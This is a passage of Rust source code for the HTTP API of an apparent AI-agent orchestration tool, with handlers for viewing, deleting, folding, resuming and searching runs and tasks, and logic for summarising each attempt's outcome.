3310 state: RunState,
3311 live: crate::run::Liveness,
3312 superseded_by: Option<String>,
3313 latest_attempt: Option<LatestAttempt>,
3314 task: Option<TaskRef>,
3315 ) -> Self {
3316 Self {
3317 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3318 prose_md: run_prose_md(&state),
3319 origin_label: crate::run::origin_label(state.origin.as_ref()),
3320 live,
3321 unmerged_by_design: state.unmerged_by_design(),
3322 done: state.status.done(),
3323 superseded_by,
3324 latest_attempt,
3325 task,
3326 state,
3327 }
3328 }
3329}
3330
3331async fn run_detail(
3332 State(ui): State<Arc<Ui>>,
3333 Path(id): Path<String>,
3334) -> ApiResult<Json<RunDetailView>> {
3335 blocking(move || {
3336 let id = resolve_run(&ui.runs, &id)?;
3337 let state = read_run(&ui.runs, &id)?;
3338 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3339 let live = state.liveness(daemon_claims);
3340 let superseded_by = ui
3341 .queue
3342 .superseded_by(&id)
3343 .as_deref()
3344 .map(crate::run::short_of)
3345 .map(str::to_owned);
3346 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3350 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3351 short: head.short().to_owned(),
3352 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3353 status: head.status,
3354 done: head.status.done(),
3355 id: head.id,
3356 })
3357 });
3358 let max_attempts = daemon::Opts::default().max_attempts;
3359 let task = ui
3360 .queue
3361 .list()
3362 .into_iter()
3363 .find(|t| t.runs.contains(&id))
3364 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3365 Ok(Json(RunDetailView::of(
3366 state,
3367 live,
3368 superseded_by,
3369 latest_attempt,
3370 task,
3371 )))
3372 })
3373 .await
3374}
3375
3376async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3385 let (id, unreadable) = {
3386 let ui = Arc::clone(&ui);
3387 blocking(move || {
3388 let id = resolve_run(&ui.runs, &id)?;
3389 match read_run(&ui.runs, &id) {
3390 Ok(state) => {
3391 let in_flight =
3392 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3393 state
3394 .ensure_can_delete(in_flight)
3395 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3396 let dir = ui.runs.join(&id);
3397 std::fs::remove_dir_all(&dir)
3398 .with_context(|| format!("remove run directory {}", dir.display()))?;
3399 Ok((id, false))
3400 }
3401 Err(_) => {
3402 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3406 return Err(ApiError::conflict(format!(
3407 "run {id} is being worked on by a live daemon right now"
3408 )));
3409 }
3410 Ok((id, true))
3411 }
3412 }
3413 })
3414 .await?
3415 };
3416 if unreadable {
3417 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3418 .await
3419 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3420 }
3421 let ui = Arc::clone(&ui);
3422 let done = id.clone();
3423 blocking(move || {
3424 ui.questions.abandon_for_run(
3427 &done,
3428 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3429 )?;
3430 Ok(())
3431 })
3432 .await?;
3433 Ok(StatusCode::NO_CONTENT)
3434}
3435
3436async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3460 let (id, state) = {
3461 let ui = Arc::clone(&ui);
3462 blocking(move || {
3463 let id = resolve_run(&ui.runs, &id)?;
3464 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3465 return Err(ApiError::conflict(format!(
3466 "run {id} is being worked on by a live daemon right now"
3467 )));
3468 }
3469 let state = read_run(&ui.runs, &id).ok();
3470 Ok((id, state))
3471 })
3472 .await?
3473 };
3474 let removed = match state {
3475 Some(mut state) => {
3476 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3477 .await
3478 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3479 if removed.is_empty() {
3484 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3485 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3486 }
3487 removed
3488 }
3489 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3490 .await
3491 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3492 };
3493 Ok(Json(FoldView {
3494 run: id,
3495 removed_count: removed.len(),
3496 removed,
3497 }))
3498}
3499
3500#[derive(Debug, Serialize)]
3502struct FoldView {
3503 run: String,
3504 removed: Vec<String>,
3506 removed_count: usize,
3507}
3508
3509#[derive(Debug, Deserialize)]
3512struct FoldMergedBody {
3513 #[serde(default)]
3514 pr_url: String,
3515}
3516
3517async fn run_fold_merged(
3537 State(ui): State<Arc<Ui>>,
3538 Path(id): Path<String>,
3539 Json(body): Json<FoldMergedBody>,
3540) -> ApiResult<Json<FoldMergedView>> {
3541 let pr_url = body.pr_url.trim().to_owned();
3542 if pr_url.is_empty() {
3543 return Err(ApiError::bad_request("pr_url is required"));
3544 }
3545 let (id, mut state) = {
3546 let ui = Arc::clone(&ui);
3547 blocking(move || {
3548 let id = resolve_run(&ui.runs, &id)?;
3549 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3550 return Err(ApiError::conflict(format!(
3551 "run {id} is being worked on by a live daemon right now"
3552 )));
3553 }
3554 let state = read_run(&ui.runs, &id)?;
3555 Ok((id, state))
3556 })
3557 .await?
3558 };
3559 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3560 .await
3561 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3562 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3563 .await
3564 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3565 Ok(Json(FoldMergedView {
3566 run: id,
3567 before: before.as_str().to_owned(),
3568 after: after.as_str().to_owned(),
3569 removed,
3570 }))
3571}
3572
3573#[derive(Debug, Serialize)]
3575struct FoldMergedView {
3576 run: String,
3577 before: String,
3579 after: String,
3581 removed: Vec<String>,
3583}
3584
3585async fn run_resume(
3605 State(ui): State<Arc<Ui>>,
3606 Path(id): Path<String>,
3607) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3608 let (id, state) = {
3609 let ui = Arc::clone(&ui);
3610 blocking(move || {
3611 let id = resolve_run(&ui.runs, &id)?;
3612 let state = read_run(&ui.runs, &id)?;
3613 Ok((id, state))
3614 })
3615 .await?
3616 };
3617 if let Some(to) = &state.released_to {
3618 return Err(ApiError::conflict(format!(
3619 "run {} can no longer be resumed: its worktree was released to run {}, which \
3620 took the branch over.",
3621 state.short(),
3622 crate::run::short_of(to)
3623 )));
3624 }
3625 if !state.status.resumable() {
3626 return Err(ApiError::conflict(format!(
3627 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3628 state.short(),
3629 status_word(state.status)
3630 )));
3631 }
3632 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3637 .into_iter()
3638 .next()
3639 {
3640 return Err(ApiError::conflict(format!(
3641 "the loop is running run {} right now; stop it first, or wait for \
3642 it to finish, before resuming a run by hand.",
3643 crate::run::short_of(&work.run)
3644 )));
3645 }
3646 let _resume = ui.begin_resume(&id)?;
3647
3648 let queued = RunSummary::of(
3651 &state,
3652 !ui.questions.open_for(&id).is_empty(),
3653 state.liveness(false),
3654 );
3655 let run = id.clone();
3656 tokio::spawn(async move {
3657 let _resume = _resume;
3658 match crate::graph::Runner::resume(&run) {
3659 Ok(mut runner) => {
3660 if let Err(e) = runner.execute().await {
3661 tracing::warn!("resume of run {run} stopped: {e:#}");
3662 }
3663 }
3664 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3667 }
3668 });
3669 Ok((StatusCode::ACCEPTED, Json(queued)))
3670}
3671
3672async fn run_report(
3673 State(ui): State<Arc<Ui>>,
3674 Path(id): Path<String>,
3675) -> ApiResult<impl IntoResponse> {
3676 let text = blocking(move || {
3677 let id = resolve_run(&ui.runs, &id)?;
3678 let state = read_run(&ui.runs, &id)?;
3682 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3683 let live = state.liveness(daemon_claims);
3684 Ok(format!(
3685 "{}{}",
3686 report::run(&state),
3687 report::active_seats(&state, live)
3688 ))
3689 })
3690 .await?;
3691 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3692}
3693
3694async fn run_report_json(
3698 State(ui): State<Arc<Ui>>,
3699 Path(id): Path<String>,
3700) -> ApiResult<Json<crate::report_view::RunReportView>> {
3701 let view = blocking(move || {
3702 let id = resolve_run(&ui.runs, &id)?;
3703 let state = read_run(&ui.runs, &id)?;
3704 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3705 Ok(crate::report_view::build(
3706 &state,
3707 state.liveness(daemon_claims),
3708 ))
3709 })
3710 .await?;
3711 Ok(Json(view))
3712}
3713
3714#[derive(Debug, Serialize)]
3720struct TaskView {
3721 #[serde(flatten)]
3722 task: Task,
3723 source_label: String,
3724 source_link: Option<SourceLink>,
3725 status_str: &'static str,
3726 instruction_md: Vec<md::Node>,
3730 waits_on: Vec<String>,
3734 stuck_roots: Vec<String>,
3737}
3738
3739impl From<Task> for TaskView {
3740 fn from(task: Task) -> Self {
3741 Self {
3742 source_label: task.source.label(),
3743 source_link: source_link(&task.source),
3744 status_str: task.status.as_str(),
3745 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3746 waits_on: Vec::new(),
3747 stuck_roots: Vec::new(),
3748 task,
3749 }
3750 }
3751}
3752
3753impl TaskView {
3754 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3755 let waits_on = inv.waits_on(&task);
3756 let stuck_roots = inv
3757 .stuck_roots(&task)
3758 .iter()
3759 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3760 .collect();
3761 Self {
3762 waits_on,
3763 stuck_roots,
3764 ..Self::from(task)
3765 }
3766 }
3767}
3768
3769#[derive(Debug, Default, Deserialize)]
3772#[serde(default)]
3773struct ReposQuery {
3774 refresh: u8,
3775}
3776
3777async fn repos_list(
3784 State(ui): State<Arc<Ui>>,
3785 Query(q): Query<ReposQuery>,
3786) -> ApiResult<Json<Vec<repos::Repo>>> {
3787 let refresh = q.refresh != 0;
3788 blocking(move || {
3789 let (cfg, _) = Config::discover(&ui.repo, None)?;
3790 Ok(Json(ui.repos_cache.list(
3791 &cfg.repos.roots,
3792 Duration::from_secs(cfg.repos.scan_ttl),
3793 refresh,
3794 )))
3795 })
3796 .await
3797}
3798
3799async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3803 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3804}
3805
3806#[derive(Debug, Deserialize)]
3808#[serde(deny_unknown_fields)]
3809struct RolesBody {
3810 revision: String,
3812 #[serde(default)]
3814 roles: std::collections::BTreeMap<String, Vec<String>>,
3815 #[serde(default)]
3819 counts: std::collections::BTreeMap<String, serde_json::Value>,
3820}
3821
3822async fn settings_put_roles(
3828 State(ui): State<Arc<Ui>>,
3829 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3830) -> ApiResult<Json<settings::SettingsView>> {
3831 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3832 blocking(move || {
3833 settings::save(
3834 &ui.repo,
3835 ui.machine_config.as_deref(),
3836 &body.revision,
3837 &body.roles,
3838 &body.counts,
3839 )
3840 .map(Json)
3841 .map_err(|e| match e {
3842 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3843 settings::SaveError::Refused(m) => ApiError {
3844 status: StatusCode::UNPROCESSABLE_ENTITY,
3845 message: m,
3846 },
3847 settings::SaveError::Internal(m) => ApiError::internal(m),
3848 })
3849 })
3850 .await
3851}
3852
3853async fn queue_list(
3854 State(ui): State<Arc<Ui>>,
3855 Query(q): Query<ListQuery>,
3856) -> ApiResult<Json<Vec<TaskView>>> {
3857 blocking(move || {
3858 let tasks = ui.queue.list();
3859 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3860 Ok(Json(
3861 tasks
3862 .into_iter()
3863 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3864 .map(|t| TaskView::with_inventory(t, &inv))
3865 .collect(),
3866 ))
3867 })
3868 .await
3869}
3870
3871const SEARCH_MAX_HITS: usize = 100;
3873const SEARCH_MAX_QUERY: usize = 200;
3875const SEARCH_MAX_TERMS: usize = 8;
3876const SNIPPET_BEFORE: usize = 50;
3878const SNIPPET_AFTER: usize = 110;
3879
3880#[derive(Debug, Deserialize)]
3882struct SearchQuery {
3883 #[serde(default)]
3884 scope: String,
3885 #[serde(default)]
3886 q: String,
3887}
3888
3889#[derive(Debug, Serialize, PartialEq, Eq)]
3892struct SnippetPart {
3893 text: String,
3894 hit: bool,
3895}
3896
3897#[derive(Debug, Serialize)]
3898struct SearchHit {
3899 id: String,
3900 field: String,
3902 snippet: Vec<SnippetPart>,
3903 #[serde(skip_serializing_if = "Option::is_none")]
3907 run: Option<RunSummary>,
3908}
3909
3910#[derive(Debug, Serialize)]
3911struct SearchView {
3912 scope: String,
3913 q: String,
3914 hits: Vec<SearchHit>,
3916 total: usize,
3918 truncated: bool,
3919 unreadable: usize,
3922}
3923
3924fn text_leaves<'a>(
3927 value: &'a serde_json::Value,
3928 field: &'a str,
3929 out: &mut Vec<(&'a str, &'a str)>,
3930) {
3931 match value {
3932 serde_json::Value::String(s) => out.push((field, s)),
3933 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3934 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3935 _ => {}
3936 }
3937}
3938
3939fn fold_char(c: char) -> char {
3942 c.to_lowercase().next().unwrap_or(c)
3943}
3944
3945fn search_terms(q: &str) -> Vec<String> {
3947 let mut terms: Vec<String> = Vec::new();
3948 for t in q.split_whitespace() {
3949 let t = t.to_lowercase();
3950 if !terms.contains(&t) {
3951 terms.push(t);
3952 }
3953 }
3954 terms
3955}
3956
3957fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3960 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3961 let mut first: Option<usize> = None;
3962 for term in terms {
3963 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3964 first = Some(first.map_or(at, |f| f.min(at)));
3965 }
3966 let (field, text) = leaves[first?];
3968 Some(SearchHit {
3969 id: String::new(),
3970 field: field.to_owned(),
3971 snippet: snippet_of(text, terms),
3972 run: None,
3973 })
3974}
3975
3976fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3979 let chars: Vec<char> = text.chars().collect();
3980 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3981 let needles: Vec<Vec<char>> = terms
3982 .iter()
3983 .map(|t| t.chars().map(fold_char).collect())
3984 .collect();
3985 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3986 let mut best: Option<(usize, usize)> = None;
3987 for n in needles.iter().filter(|n| !n.is_empty()) {
3988 if n.len() > chars.len() || to == 0 {
3992 continue;
3993 }
3994 let last = (to - 1).min(chars.len() - n.len());
3995 if from > last {
3996 continue;
3997 }
3998 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3999 && best.is_none_or(|(b, _)| i < b)
4000 {
4001 best = Some((i, i + n.len()));
4002 }
4003 }
4004 best
4005 };
4006 let Some((start, _)) = find(0, chars.len()) else {
4007 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4009 return vec![SnippetPart {
4010 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4011 hit: false,
4012 }];
4013 };
4014 let lo = start.saturating_sub(SNIPPET_BEFORE);
4015 let hi = (start + SNIPPET_AFTER).min(chars.len());
4016 let mut parts: Vec<SnippetPart> = Vec::new();
4017 let mut push = |s: &[char], hit: bool| {
4018 if s.is_empty() {
4019 return;
4020 }
4021 let text: String = s.iter().collect();
4022 match parts.last_mut() {
4023 Some(p) if p.hit == hit => p.text.push_str(&text),
4024 _ => parts.push(SnippetPart { text, hit }),
4025 }
4026 };
4027 if lo > 0 {
4028 push(&['\u{2026}'], false);
4029 }
4030 let mut at = lo;
4031 while at < hi {
4032 match find(at, hi) {
4033 Some((s, e)) => {
4034 push(&chars[at..s], false);
4035 let shown = e.min(hi);
4037 push(&chars[s..shown], true);
4038 at = shown;
4039 }
4040 None => {
4041 push(&chars[at..hi], false);
4042 at = hi;
4043 }
4044 }
4045 }
4046 if hi < chars.len() {
4047 push(&['\u{2026}'], false);
4048 }
4049 let mut prev_space = false;
4052 for p in &mut parts {
4053 let mut out = String::with_capacity(p.text.len());
4054 for c in p.text.chars() {
4055 if c.is_whitespace() {
4056 if !prev_space {
4057 out.push(' ');
4058 }
4059 prev_space = true;
4060 } else {
4061 out.push(c);
4062 prev_space = false;
4063 }
4064 }
4065 p.text = out;
4066 }
4067 parts.retain(|p| !p.text.is_empty());
4068 parts
4069}
4070
4071fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4073where
4074 I: IntoIterator<Item = (String, serde_json::Value)>,
4075{
4076 for (id, doc) in docs {
4077 let mut leaves = Vec::new();
4078 leaves.push(("id", id.as_str()));
4081 text_leaves(&doc, "", &mut leaves);
4082 if let Some(mut hit) = search_document(terms, &leaves) {
4083 view.total += 1;
4084 if view.hits.len() < SEARCH_MAX_HITS {
4085 hit.id = id;
4086 view.hits.push(hit);
4087 }
4088 }
4089 }
4090 view.truncated = view.total > view.hits.len();
4091}
4092
4093fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4100 let opener = talk
4101 .turns
4102 .iter()
4103 .find(|t| t.who == crate::talk::Who::Operator)
4104 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4105 .unwrap_or("");
4106 let title: String = if opener.chars().count() > 96 {
4107 opener.chars().take(95).chain(['\u{2026}']).collect()
4108 } else {
4109 opener.to_owned()
4110 };
4111 let turns: Vec<serde_json::Value> = talk
4112 .turns
4113 .iter()
4114 .map(|t| {
4115 let who = match t.who {
4116 crate::talk::Who::Operator => "operator",
4117 crate::talk::Who::Agent => "agent",
4118 };
4119 serde_json::json!({ who: t.body })
4120 })
4121 .collect();
4122 serde_json::json!({ "title": title, "turns": turns })
4123}
4124
4125async fn search_get(
4132 State(ui): State<Arc<Ui>>,
4133 Query(q): Query<SearchQuery>,
4134) -> ApiResult<Json<SearchView>> {
4135 let query = q.q.trim().to_owned();
4136 if query.is_empty() {
4137 return Err(ApiError::bad_request("q must not be empty"));
4138 }
4139 if query.chars().count() > SEARCH_MAX_QUERY {
4140 return Err(ApiError::bad_request(format!(
4141 "q is longer than {SEARCH_MAX_QUERY} characters"
4142 )));
4143 }
4144 let terms = search_terms(&query);
4145 if terms.len() > SEARCH_MAX_TERMS {
4146 return Err(ApiError::bad_request(format!(
4147 "q has more than {SEARCH_MAX_TERMS} terms"
4148 )));
4149 }
4150 let scope = q.scope;
4151 if scope != "runs" && scope != "tasks" && scope != "chats" {
4152 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4153 }
4154 blocking(move || {
4155 let mut view = SearchView {
4156 scope: scope.clone(),
4157 q: query,
4158 hits: Vec::new(),
4159 total: 0,
4160 truncated: false,
4161 unreadable: 0,
4162 };
4163 if scope == "runs" {
4164 let mut unreadable = 0;
4165 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4169 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4170 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4171 Some(v) => Some((id, v)),
4172 None => {
4173 unreadable += 1;
4174 None
4175 }
4176 }
4177 });
4178 search_docs(&terms, docs, &mut view);
4179 view.unreadable = unreadable;
4180 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4183 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4184 for hit in &mut view.hits {
4185 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4186 hit.run = summarize(
4187 [state],
4188 &open_runs,
4189 &claimed,
4190 &superseded,
4191 |p| probe.borrow_mut().status(p),
4192 |p| probe.borrow_mut().started_at(p),
4193 )
4194 .pop();
4195 }
4196 }
4197 } else if scope == "chats" {
4198 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4199 view.unreadable = unreadable;
4200 search_docs(
4201 &terms,
4202 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4203 &mut view,
4204 );
4205 } else {
4206 let docs = ui.queue.list().into_iter().filter_map(|t| {
4207 let mut v = serde_json::to_value(&t).ok()?;
4208 if let Some(o) = v.as_object_mut() {
4211 o.insert("filed_by".to_owned(), t.source.label().into());
4212 }
4213 Some((t.id, v))
4214 });
4215 search_docs(&terms, docs, &mut view);
4216 }
4217 Ok(Json(view))
4218 })
4219 .await
4220}
4221
4222#[derive(Debug, Serialize)]
4224struct TaskRunView {
4225 n: usize,
4227 id: String,
4228 short: String,
4229 kind: &'static str,
4231 status: Option<&'static str>,
4233 readable: bool,
4235 provisional: bool,
4237 description: String,
4239 outcome: String,
4241 created_at: Option<Timestamp>,
4242 pr: Option<String>,
4243 exit: RunExit,
4245 attempt: AttemptCost,
4247 branch: Option<String>,
4249}
4250
4251#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4253#[serde(rename_all = "snake_case")]
4254enum RunExit {
4255 Unreadable,
4256 Interrupted,
4258 Parked,
4259 QuotaStall,
4260 ResumedQuotaStall,
4264 Merged,
4265 Ready,
4266 Superseded,
4267 AlreadyInBase,
4270 Stalled,
4272 HeldWithPr,
4274 NoopHeld,
4275 Spent,
4277 InProgress,
4278}
4279
4280#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4281#[serde(rename_all = "snake_case")]
4282enum AttemptCost {
4283 Spent,
4284 Refunded,
4285 None,
4286 Unknown,
4288}
4289
4290impl RunExit {
4291 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4292 let Some(s) = s else {
4293 return Self::Unreadable;
4294 };
4295 let status = s.status;
4296 if resumed_later {
4297 Self::Interrupted
4298 } else if s.parked {
4299 Self::Parked
4300 } else if !status.done() {
4301 Self::InProgress
4302 } else if matches!(status, RunStatus::Merged) {
4303 Self::Merged
4304 } else if matches!(status, RunStatus::Ready) {
4305 Self::Ready
4306 } else if matches!(status, RunStatus::Superseded) {
4307 Self::Superseded
4308 } else if matches!(status, RunStatus::AlreadyInBase) {
4309 Self::AlreadyInBase
4310 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4311 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4312 {
4313 if resumed {
4314 Self::ResumedQuotaStall
4315 } else {
4316 Self::QuotaStall
4317 }
4318 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4319 Self::HeldWithPr
4320 } else if matches!(status, RunStatus::VerifiedNoop) {
4321 Self::NoopHeld
4322 } else if matches!(status, RunStatus::Stalled) {
4323 Self::Stalled
4324 } else {
4325 Self::Spent
4326 }
4327 }
4328
4329 fn cost(self) -> AttemptCost {
4330 match self {
4331 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4332 Self::Merged
4333 | Self::Ready
4334 | Self::Stalled
4335 | Self::HeldWithPr
4336 | Self::NoopHeld
4337 | Self::Spent => AttemptCost::Spent,
4338 Self::InProgress => AttemptCost::None,
4339 Self::AlreadyInBase => AttemptCost::Refunded,
4340 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4341 AttemptCost::Unknown
4342 }
4343 }
4344 }
4345
4346 fn edge_label(self, status: Option<&str>) -> String {
4348 match self {
4349 Self::Unreadable => "record unreadable".to_owned(),
4350 Self::Interrupted => "interrupted before the run finished".to_owned(),
4351 Self::Parked => "parked, attempt refunded".to_owned(),
4352 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4353 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4354 Self::Merged => "merged".to_owned(),
4355 Self::Ready => "ready, not merged".to_owned(),
4356 Self::Superseded => "superseded by a later attempt".to_owned(),
4357 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4358 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4359 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4360 Self::NoopHeld => "verified no-op".to_owned(),
4361 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4362 Self::InProgress => "in progress".to_owned(),
4363 }
4364 }
4365
4366 fn explains(self, end: TaskStatus) -> bool {
4369 match self {
4370 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4371 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4372 Self::Unreadable | Self::Superseded | Self::Ready => true,
4373 _ => end != TaskStatus::Done,
4374 }
4375 }
4376}
4377
4378#[derive(Debug, Serialize)]
4380struct TaskDetailView {
4381 #[serde(flatten)]
4382 task: TaskView,
4383 max_attempts: usize,
4386 history: Vec<TaskRunView>,
4387 flow: FlowView,
4388 followup_origin: Option<FollowUpOrigin>,
4390 runs_unreadable: usize,
4392 attempts_note: &'static str,
4394}
4395
4396const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4397and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4398on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4399in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4400
4401fn review_branch_of(instruction: &str) -> Option<&str> {
4404 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4405 rest.split('`').next().filter(|b| !b.is_empty())
4406}
4407
4408struct RunSlot<'a> {
4410 n: usize,
4412 resumed: bool,
4414 resumed_later: Option<usize>,
4416 prior: Option<(&'a str, RunStatus)>,
4418 last: bool,
4419}
4420
4421fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4424 let RunSlot {
4425 n,
4426 resumed,
4427 resumed_later,
4428 prior,
4429 last,
4430 } = at;
4431 let short = run::short_of(id).to_owned();
4432 let Some(s) = state else {
4433 return TaskRunView {
4434 n,
4435 id: id.to_owned(),
4436 short,
4437 kind: "unknown",
4438 status: None,
4439 readable: false,
4440 provisional: false,
4441 description:
4442 "This run's record could not be read by this build (written by a different \
4443 magi, or removed), so what kind of attempt it was is unknown."
4444 .to_owned(),
4445 outcome: String::new(),
4446 created_at: None,
4447 pr: None,
4448 exit: RunExit::Unreadable,
4449 attempt: AttemptCost::Unknown,
4450 branch: None,
4451 };
4452 };
4453 let branch = review_branch_of(&s.instruction);
4454 let kind = if resumed {
4455 "resume"
4456 } else if branch.is_some() {
4457 "review"
4458 } else if task.solo || s.candidates.len() == 1 {
4459 "solo"
4460 } else {
4461 "competition"
4462 };
4463 let mut description = match kind {
4464 "resume" => {
4465 format!("Resumed run {short}: the same run carried on instead of competing again.")
4466 }
4467 "review" => format!(
4468 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4469 branch.unwrap_or_default()
4470 ),
4471 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4472 _ => format!(
4473 "Competition: {} candidates judged blind.",
4474 s.candidates.len().max(1)
4475 ),
4476 };
4477 if !resumed && let Some((p, st)) = prior {
4478 description.push_str(&format!(
4479 " A retry: run {p} before it ended {}.",
4480 st.display_label()
4481 ));
4482 }
4483
4484 let status = s.status;
4485 let provisional = matches!(status, RunStatus::Stalled)
4486 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4487 let head = if resumed_later.is_some() {
4488 String::new()
4489 } else {
4490 match status {
4491 RunStatus::Merged => "Merged.".to_owned(),
4492 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4493 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4494 RunStatus::AlreadyInBase => {
4495 "Already in the base: this change landed under other commits, nothing was left to land."
4496 .to_owned()
4497 }
4498 RunStatus::Stalled => {
4499 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4500 .to_owned()
4501 }
4502 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4503 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4504 RunStatus::VerifiedNoop => {
4505 "Verified no-op: the candidates found nothing to change.".to_owned()
4506 }
4507 other if other.done() => format!("Ended {}.", other.display_label()),
4508 other => format!("In progress ({}).", other.display_label()),
4509 }
4510 };
4511 let why = if let Some(k) = resumed_later {
4512 let cause = if s.quota.is_empty() {
4519 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4520 } else {
4521 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4522 };
4523 format!(
4524 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4525 )
4526 } else if s.parked {
4527 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4528 .to_owned()
4529 } else if !status.done()
4530 || matches!(
4531 status,
4532 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4533 )
4534 {
4535 String::new()
4536 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4537 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4538 {
4539 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4540 .to_owned()
